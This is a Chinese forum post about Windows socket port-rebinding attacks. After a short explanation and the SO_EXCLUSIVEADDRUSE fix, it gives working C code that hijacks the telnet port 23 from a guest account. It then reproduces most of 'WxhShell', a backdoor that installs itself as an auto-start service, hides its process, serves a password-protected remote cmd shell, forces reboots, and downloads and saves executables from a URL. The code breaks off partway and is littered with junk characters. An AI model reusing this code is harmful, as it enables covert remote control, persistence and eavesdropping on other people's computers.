-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Xbsj:Ko]]U s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <whPM {) '"
k6w saddr.sin_family = AF_INET; ^QHMN 7r/ [XY:MUe
saddr.sin_addr.s_addr = htonl(INADDR_ANY); Br.$L +'YSpJ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ko7-%+0|] zxynEdO 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {KQ-Ce-6 7HR%rO?' 这意味着什么?意味着可以进行如下的攻击: Kw5+4R(5 Ms$7E 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m= beB\= 1PT_1[eAR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A?{aUQB~| t9-\x 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Fy+7{=?^F q}76aa0e 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 E )Zd{9A5) Aaw:B?4) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fU){]YP {u[K
^G 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _R!!4Hp<Q .AQ3zpy5B 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BOl$UJ|K `'k's]Y #include 5F_:[H =
#include iJp!ROI #include t BXsWY{ #include Ivgwm6M DWORD WINAPI ClientThread(LPVOID lpParam); <xh'@592 int main() =ym~=
S { .qU%SmQ^ WORD wVersionRequested; cK} DWORD ret; 6;=wuoJi WSADATA wsaData; _$jJpy BOOL val; !E.lyz SOCKADDR_IN saddr; [8J}da } SOCKADDR_IN scaddr; Zo638*32 int err; p=5H^E m1 SOCKET s; MAhPO!e5. SOCKET sc; 0o'ML""j int caddsize; <?va)
ou HANDLE mt; L5N{ie_ DWORD tid; _/w-gL{ wVersionRequested = MAKEWORD( 2, 2 ); b+#~N>| err = WSAStartup( wVersionRequested, &wsaData ); @^4M~F% if ( err != 0 ) { k~EPVJh" printf("error!WSAStartup failed!\n"); M&\ ?)yG return -1; ;cHI3V } fyoB]{$p8 saddr.sin_family = AF_INET; aZ:?(u] !iz vY //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^Th"`Av5 L"^366M! saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0 Ln5e.& saddr.sin_port = htons(23); oP`M\KXau if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o%JIJ7M { (w:ACJ[[ printf("error!socket failed!\n"); F>-@LOqHy return -1; s\1_-D5]Z } FoXQ]X7" val = TRUE; *L8HC8IbH //SO_REUSEADDR选项就是可以实现端口重绑定的 5 9J$SE if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) umn~hb5O { fvfVBk# printf("error!setsockopt failed!\n"); o 0
#]EMr return -1; U$JIF/MO_ } -$|X\#R //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R3!vS+5rR //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X|B;>q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y/I6.K3 aZCT|M1 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `Q^Sm`R { KIl.?_61O ret=GetLastError(); m-FDCiN> printf("error!bind failed!\n"); iBW6<2@oZF return -1; RvZ-w$E&? } T[=cKYp8\ listen(s,2); 1Moh` while(1) o-Fle, qf { xi^e =:;` caddsize = sizeof(scaddr); 6zZR:ej //接受连接请求 (eE}W~Z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P&`r87J if(sc!=INVALID_SOCKET) l%5%oN`4 { {hP&P mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U jzz`!mz if(mt==NULL) ]BBgU[O)
! { q;~>h printf("Thread Creat Failed!\n"); +((31l break; u`2k6.- } s3!LR2qiF } ;<R_j%* CloseHandle(mt); AFUl } R*fR? closesocket(s); ^b.
MR ?9 WSACleanup(); j;'Wf[V return 0; Z6@J-<u } 'yjH~F. DWORD WINAPI ClientThread(LPVOID lpParam) !#s7 F { O +}EE^*a SOCKET ss = (SOCKET)lpParam; Rw8m5U SOCKET sc; &nw~gSe unsigned char buf[4096]; Ou,_l SOCKADDR_IN saddr; YEoT_>A$dB long num; V
*y DWORD val; ;7*@Gf}R DWORD ret; 7f,WzvV //如果是隐藏端口应用的话,可以在此处加一些判断
C2i..iD //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ~y^lNgujO saddr.sin_family = AF_INET; <&Xq`i/( saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R*C+Yk)Tkt saddr.sin_port = htons(23); Dx)XC?'xO if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) / {~h?P} { lc#zS_ printf("error!socket failed!\n"); P;/wb/ return -1; *uM*)6O 3 } bu9&sQ; val = 100; s4k%ty} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fG5} '8 { o^6 j(~ ret = GetLastError(); X6
:~Rjim* return -1; MCG~{#` } Q
kpmPQK if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =)5a=^
6 { >iJuR.:OO ret = GetLastError(); i_ T dI return -1; n9-[z2n } `:O.g9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DK%eFCo<~ { aC 0Jfo printf("error!socket connect failed!\n"); =upP3rw closesocket(sc); b<7qmg3 closesocket(ss); 3<V!y&a return -1; #_\~Vrf(# } nQmYeM while(1) 83*k.]S` { ^uzVz1%mM //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 LdUpVO8)l //如果是嗅探内容的话,可以再此处进行内容分析和记录 1zW6Pb //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3s`3}DKK num = recv(ss,buf,4096,0); /=} vPey if(num>0) ^4NH.q{ send(sc,buf,num,0); nP31jm+A else if(num==0) j-|0&X1C break; l/NK.Jr num = recv(sc,buf,4096,0); XS/TYdXB8 if(num>0) s$6#3%h send(ss,buf,num,0); ZW%`G@d"H- else if(num==0) "ukbqdKD break; D*,H%xA } HArYL}l closesocket(ss); o-=lH tR closesocket(sc); )>p6h]]a return 0 ; >FNt*tX<0 } }iAi`_\0; ]Jqe)o #9Z-Hd< ========================================================== &nProzC k]g\`
gc 下边附上一个代码,,WXhSHELL {jG`l$$ ,cEcMaJ ========================================================== gK#w$s50 8ipLq`) #include "stdafx.h" [NcOk, Pme?`YO$x #include <stdio.h> 9Z
4R!Q #include <string.h> i-b7 #include <windows.h> )`-]nMc #include <winsock2.h> $)V4Eu; #include <winsvc.h> Km-B=6*QY #include <urlmon.h> Wz]S+IpY <
.!3yy #pragma comment (lib, "Ws2_32.lib") iN*@f8gf #pragma comment (lib, "urlmon.lib") bP@_4Dy XQ8Imkc #define MAX_USER 100 // 最大客户端连接数 1 Y&d%AA #define BUF_SOCK 200 // sock buffer R&0l4g-4> #define KEY_BUFF 255 // 输入 buffer vxx3^;4p YSif`W! #define REBOOT 0 // 重启 P+UK@~D+G #define SHUTDOWN 1 // 关机 cj
*4XYu ,YTIYG]( #define DEF_PORT 5000 // 监听端口 9A!qg< 3>6o=7/PU #define REG_LEN 16 // 注册表键长度
.@Cshj #define SVC_LEN 80 // NT服务名长度 b.;W|$ . 6wgOmyJx // 从dll定义API T\>=o] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,}0pK\Y>$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !TFVBK typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L')zuI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b&1@rE- M&dtXG8<^ // wxhshell配置信息 *gn*S3Is[j struct WSCFG { W%ud nJ int ws_port; // 监听端口 -tQ|&fl char ws_passstr[REG_LEN]; // 口令 7@?b _ int ws_autoins; // 安装标记, 1=yes 0=no tDo0Q/` char ws_regname[REG_LEN]; // 注册表键名 BR'|hG char ws_svcname[REG_LEN]; // 服务名 ~7
TzUb char ws_svcdisp[SVC_LEN]; // 服务显示名 u+_#qk0NfK char ws_svcdesc[SVC_LEN]; // 服务描述信息 w6_}]
&F char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L;[*F-+jD int ws_downexe; // 下载执行标记, 1=yes 0=no guvQISQlY char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" d}Om?kn char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iJBZnU:Mp O]>`B{ }; W#!\.m`5 \2jY)UrQs // default Wxhshell configuration kXWx )v struct WSCFG wscfg={DEF_PORT, )[1m$> "xuhuanlingzhe", /L.a:Er$ 1, $((<le5-) "Wxhshell", ZE^de(Fm "Wxhshell", p98lu'?@ "WxhShell Service", @j6D#./7j "Wrsky Windows CmdShell Service", ~a $%
a "Please Input Your Password: ", _,^sI% 1, DYS(ZY)4 " http://www.wrsky.com/wxhshell.exe", d:D2[ "Wxhshell.exe" (`xc3-, }; _OY ;SJ( m_B5M0}, // 消息定义模块 Mw~?@Sq char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;IT^SHym char *msg_ws_prompt="\n\r? for help\n\r#>"; zP9!fA char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; X$*
'D) char *msg_ws_ext="\n\rExit."; m"*:XfOL char *msg_ws_end="\n\rQuit."; RY'y%6Z]ZO char *msg_ws_boot="\n\rReboot..."; oZ}e
w!V char *msg_ws_poff="\n\rShutdown..."; jhLh~.
8 char *msg_ws_down="\n\rSave to "; D&shrKFx zin,yJ char *msg_ws_err="\n\rErr!"; 61'7b`:(hi char *msg_ws_ok="\n\rOK!"; ?,j:Y0l.L !4E:IM63 char ExeFile[MAX_PATH]; <7GK *I int nUser = 0; ^tv*I~>J! HANDLE handles[MAX_USER]; {x8`gP\H int OsIsNt; Cv| :.y
0\+Qi?& SERVICE_STATUS serviceStatus; 9YJb~tuZ73 SERVICE_STATUS_HANDLE hServiceStatusHandle; b%kh:NV{S J: LSGj;R // 函数声明 URAipLvN int Install(void); Xk2
75Y int Uninstall(void); Y%faf.$/9 int DownloadFile(char *sURL, SOCKET wsh); TDoYp int Boot(int flag); .#n?^73 void HideProc(void); ?]t8$^m,; int GetOsVer(void); V/Q6v
YX int Wxhshell(SOCKET wsl); Z|W=.RdA; void TalkWithClient(void *cs); z,9qAts?mh int CmdShell(SOCKET sock); 0pR04"`; int StartFromService(void); 3
*G=U int StartWxhshell(LPSTR lpCmdLine); B;m18LDu EP[
gq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "rXGXQu VOID WINAPI NTServiceHandler( DWORD fdwControl ); *=v
RX!sI, ?sO_c3^7z // 数据结构和表定义 \o^+'4hq<5 SERVICE_TABLE_ENTRY DispatchTable[] = 9K49<u0O { c_iF S {wscfg.ws_svcname, NTServiceMain}, \c]/4C +/ {NULL, NULL} & zG= }; ;[xDc>&("Q P
,i)A // 自我安装 [ACYd/ int Install(void) |0&S>%= { te|VKYN%}[ char svExeFile[MAX_PATH]; e9
NHbq HKEY key; `drvu?F strcpy(svExeFile,ExeFile); vmoqsdZ/ "%Jx,L\f{ // 如果是win9x系统,修改注册表设为自启动 lY 1m% if(!OsIsNt) { oqj3Q
1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C?B7xK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IOA{lN6 RegCloseKey(key); ri:fo'4TO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |9y&;3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ e"^-x RegCloseKey(key); NlKnMgt~ return 0; T>c;q%A/ } (~P&$$qfD } WDZEnauE } r=9*2X# else { )S%mKdOm
$ L^=>)\R2$[ // 如果是NT以上系统,安装为系统服务 u7/M>YJ`T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {[$p}#7Y if (schSCManager!=0) EgY]U1{ { J^v_VZ3 SC_HANDLE schService = CreateService v uJ~Lg{ ( }$7Hf+G schSCManager, {*|yU" wscfg.ws_svcname, dlWw=^ wscfg.ws_svcdisp, p?}Rolk7 SERVICE_ALL_ACCESS, :>,d$f^tqE SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M6e"4Gh SERVICE_AUTO_START, H1l'\ SERVICE_ERROR_NORMAL, Ki' EO$ svExeFile, @1>83-p"X NULL, ';1
c NULL, q%JV"9, NULL, YFW+l~[# NULL, vH?/YhH| NULL RH`m=?~J, ); KAe)
X_R7 if (schService!=0) l"cYW9 { 0nv3JX^l] CloseServiceHandle(schService); ^)SvH CloseServiceHandle(schSCManager); |BXq8Erh strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0{j>u` strcat(svExeFile,wscfg.ws_svcname); ZQyT$l~b if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -du+iOe? RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eSvu:euv RegCloseKey(key); eZUK<&0x5 return 0; BFMM6-Ve }
VC.r } nZ{~@E2 CloseServiceHandle(schSCManager); MM97$ } v!x=fjr< } F`-? 3]\3 t'z]<7 return 1; 0S' EnmG } t >8t|t+ 0xPML}|V // 自我卸载 Db2G)63 int Uninstall(void) =^{^KHzIl3 { eo@:@O+bm HKEY key; /knt5 xUG|@xIwc if(!OsIsNt) { = U^B,q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LIR2B"3F RegDeleteValue(key,wscfg.ws_regname); Pg`^EJ+ RegCloseKey(key); EqOB
0\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t rHj7Nw RegDeleteValue(key,wscfg.ws_regname); i1/FNem RegCloseKey(key); I&^?,Fyy< return 0; 5B(|!Xq;I } NoPM!.RU{ } Y(&phv& } p>MX}^6 else { !D h IGa);g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nrZv>r if (schSCManager!=0) @]cpPW-b { wngxVhu8Ld SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !1!uB } if (schService!=0) BkIvoW_ { "Uyw7 if(DeleteService(schService)!=0) { p<jHUG4?' CloseServiceHandle(schService); :}E*u^v K CloseServiceHandle(schSCManager); '2%hc\P6P return 0; _/KW5 } vK6bpzI
3 CloseServiceHandle(schService); OnG!5b } ag] nVE/ CloseServiceHandle(schSCManager); R
z[- } 6R?J.&| } zis-}K< !D z:6r return 1; ;aD_^XY } 0m?ul%= & ??)gMM[ // 从指定url下载文件 YpuA,r;" int DownloadFile(char *sURL, SOCKET wsh) 1pcSfN :"1 { Muarryh} HRESULT hr; $i =-A char seps[]= "/"; )hn,rmn
(P char *token; !'+t)h9^ char *file; )`g[k"yB3 char myURL[MAX_PATH]; d` ^@/1tO char myFILE[MAX_PATH]; smWA~Aq Ir]b.6B strcpy(myURL,sURL); Y \j &84 token=strtok(myURL,seps); /0(4wZe~? while(token!=NULL) XbHcd8N T { AjZT- Q0L file=token; &qo'ge8p token=strtok(NULL,seps); EkJo.'0@ } V,2O`D% ~L?p/3m GetCurrentDirectory(MAX_PATH,myFILE); :pNZQX strcat(myFILE, "\\"); >+8mq]8^ strcat(myFILE, file); Q>X ;7nt0 send(wsh,myFILE,strlen(myFILE),0); dkCSqNFL) send(wsh,"...",3,0); 8_KXli}7= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ."3 J;j if(hr==S_OK) 5|AZ/!rb return 0; /AWHG._ else 2y,~i;;_ return 1; U~7.aZHPx3 m@jOIt!< } 1P6~IZVN YP#OI6u // 系统电源模块 qHvW{0E int Boot(int flag) SLBKXj| { !lHsJ)t HANDLE hToken; OxqP:kM TOKEN_PRIVILEGES tkp; Z5NuLB' W[YcYa_tQ if(OsIsNt) { gzw[^d OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !WDdq_n*v LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %d*}:295 tkp.PrivilegeCount = 1; R4{}ZT tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1a%*X UT AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I\4I,ds if(flag==REBOOT) { ti'OjoJL if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &M<431y
return 0; 1f~_# EIC } +!w?g/dV else { #Xsby if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dU+1@_ return 0; ,(lD5iN } Q}I. UG_ } 6W3}6p else { .%D] z{'' if(flag==REBOOT) { FSH6C2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !M}&dW2 return 0; _Hkc<j/e~ } =#1/<q)L else { po{f*}gas] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LZ^sc
return 0; zu*h9} } `GH6$\: } n cihc$V< >o(*jZ return 1; CuDU~)` } SR8[
7MU 1OJ:Vy}n // win9x进程隐藏模块 {_ Wtk@ void HideProc(void) ab
2V.S { mQ1QJ_; d{DlW
|_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WukCE if ( hKernel != NULL ) s;$
eq); { ! a1j c_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]%NCKOM ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $z`
jR* FreeLibrary(hKernel); t+66kB N } J&h 3, k
\]@ return; 7rsrC } "%0RR? R(x%<I // 获取操作系统版本 rs\*$20 int GetOsVer(void) 3Dg I.V6un { X~W5Z(w(O OSVERSIONINFO winfo; 6I 2`m(5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 48w3gye GetVersionEx(&winfo); m@"!=CTKd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1eKJ46W return 1; \QYs(nm?k else X/'B*y'=U return 0; ?jb7Oq#[ } $YL}rM Jb_/c`` // 客户端句柄模块 !07$aQYcd int Wxhshell(SOCKET wsl) e3',? 5j { <:/V`b3a SOCKET wsh; >>&~;PG[ struct sockaddr_in client; [<OMv9(l'o DWORD myID; }8 ,b;Q !'n+0 while(nUser<MAX_USER) Qg1LT8 { 2R.YHj int nSize=sizeof(client); 4|x5-m+T wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \b~zyt6- if(wsh==INVALID_SOCKET) return 1; -!7QH' VSM%<-iQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |h8C}P&Z if(handles[nUser]==0)
c9DX closesocket(wsh); 6V!yfps) else E&]S No< nUser++; :90DS_4 } =]"[?a > WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *:)#'cenI gl00$}C return 0; `5h$@ } `s@1'IG;R_ qAkx52v6 // 关闭 socket |A &Nv~.) void CloseIt(SOCKET wsh) sp'q=^t { '(I"54W closesocket(wsh); &zUo", }9 nUser--; 7*u0)Hog ExitThread(0); !/Hln;{ } 'g( R4deCX 4 YI,: // 客户端请求句柄 -.:1nI void TalkWithClient(void *cs) ^Fy)
oWS { Tf*X\{" |+ @ SOCKET wsh=(SOCKET)cs; +)Z,%\)Z char pwd[SVC_LEN]; D3BX[ char cmd[KEY_BUFF]; Sd}fse char chr[1]; B*K%&w10~ int i,j; : 8(~{<R o"TEmZUP while (nUser < MAX_USER) { U{{RRK| 9O P
d'f if(wscfg.ws_passstr) { [ *R8XXuL if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tz._*n83 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CuU"s) //ZeroMemory(pwd,KEY_BUFF); ^#XxqVdPk i=0; '$l*FWOEal while(i<SVC_LEN) { (w@|:0t^y[ @v@'8E Q // 设置超时 E$*I.i_m fd_set FdRead; &<k)W struct timeval TimeOut; F0]= z- FD_ZERO(&FdRead); E70 FD_SET(wsh,&FdRead); ]';!r20 TimeOut.tv_sec=8;
9JP{F TimeOut.tv_usec=0; 6 3Kec int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z
A7u66 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R4pbi= Zo'lvOpyZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Cj]j- pwd =chr[0]; `Fu|50_@V if(chr[0]==0xd || chr[0]==0xa) { ,T"(97" pwd=0; vAU^<$D27 break; >TwOL } ~r&Q\G i++; u [fQvdl } Cg8{NNeD Oj~k 1+* // 如果是非法用户,关闭 socket @q[-,EA9 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {n
# } $F;$-2 dID]{ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K.*zqQKlI| send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *s;$`8fM< Ypha{d while(1) { A]Q4fD1q nr-VzF7zu ZeroMemory(cmd,KEY_BUFF); !>gc!8Y'o !Wn'Ae9 // 自动支持客户端 telnet标准 }me]?en_Ra j=0; 5#q
^lL while(j<KEY_BUFF) { |0A n|18 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >p2v"X X cmd[j]=chr[0]; )bPwB.} kq if(chr[0]==0xa || chr[0]==0xd) { P@
1D cmd[j]=0; DEqk9Exk` break; _17c}o#`5w } Q]a5]:0 j++; z[IG+2 } bbA+ZLZJn _ 4Hf?m7z // 下载文件 S3btx9y{ if(strstr(cmd,"http://")) { LP#CA^*S send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8t0i
j if(DownloadFile(cmd,wsh)) "x3_cA~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Z~>7ayF+) else Z*jhSy send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S7~yRIjB } ~8}"X] 4 else { m6+2rD V4/eGh_T switch(cmd[0]) { ,Sghi&Ky F''4 j8 // 帮助 z8vFQO\I" case '?': { FSc730rM send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P^VV8Z>\& break; HgduH::\# } "c1vW<; // 安装 %D e<H* case 'i': { 0z.` if(Install()) x/bO;9E%U4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); AUzJ:([V else q'",70"\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d=N5cCqq break; t~,!a? S7 } >(:KEA // 卸载 nb(#;3DQ case 'r': { ]
M_[*OAb if(Uninstall()) jk) V[7P send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4>$>XL1 else oV,>u5:B send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g7_a8_ break; ~ EE*/vX } %C'!L]# // 显示 wxhshell 所在路径 [<8<+lH=P case 'p': { )wSsxX7: char svExeFile[MAX_PATH]; >SSF:hI"J strcpy(svExeFile,"\n\r"); D#^v=U strcat(svExeFile,ExeFile); $].< / send(wsh,svExeFile,strlen(svExeFile),0); Gd:fWz( break; ;y4
"wBX } [Gt|Qp[ // 重启 eEezd[p case 'b': { k<8: send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w}oH]jVKL6 if(Boot(REBOOT)) l&;#`\s!V send(wsh,msg_ws_err,strlen(msg_ws_err),0); p.8G]pS else { qhL e[[> closesocket(wsh); wyvs#T ExitThread(0); 6i=m1Yk } (p^q3\ break; e,:@c3I } {#Mz4s`M // 关机 5x4(5c5^ case 'd': { 8%vk"h:u: send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JF24~Q4P if(Boot(SHUTDOWN)) J|,| *t send(wsh,msg_ws_err,strlen(msg_ws_err),0); cnhYrX^ else { 5FH#) closesocket(wsh); Q9FY.KUM ExitThread(0); {Qlvj.Xw } \>:(++g break; k@KX=mG< } ]5uCs[ // 获取shell [$-y8`~( case 's': { zx0{cNPK5 CmdShell(wsh); rf^1%Zo: closesocket(wsh); 19;\:tN ExitThread(0); GJ{]}fl break; qo$<&'r } nyTfTn // 退出 Ql
[= case 'x': { 1mf|:2, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )CihqsA2 CloseIt(wsh); [A[vR7&S break; nJA\P1@m } )jCAfdnCs // 离开
`6Y'H2WJ? case 'q': { "m/0>UU0 send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9dSKlB5J closesocket(wsh); +}X@{DB WSACleanup(); 2l8jw:=H exit(1); M)Ogb'@# break; 0&c12W|B<L } YadyRUE } {@B<$g } 3mr9}P9;
V4ayewVX // 提示信息 Gi ZyC if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 70*Y4'u}A } (MwB%g } OG!^:OY I9k o*f return; b[$l{RQ[? } bBC3% H^
3ef]3 // shell模块句柄 8;Yx a8i e int CmdShell(SOCKET sock) cKF 8( { 4}fG{Bk STARTUPINFO si; o D:?fs] ZeroMemory(&si,sizeof(si)); hZc$`V=R si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xNE<$Bz si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !XzRV?Ih; PROCESS_INFORMATION ProcessInfo; R9fM9 char cmdline[]="cmd"; /R 2:Js CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u@[D*c1!H return 0; wGLZzqgq } PL%_V ?z dhsQfWg#} // 自身启动模式 }3=]1jH6 int StartFromService(void) ),dXaP[ { R279=sO,J typedef struct d,+d8X { V.\do"m DWORD ExitStatus; 1Cp5a2{ DWORD PebBaseAddress; D{ @x DWORD AffinityMask; F.^1|+96 DWORD BasePriority;
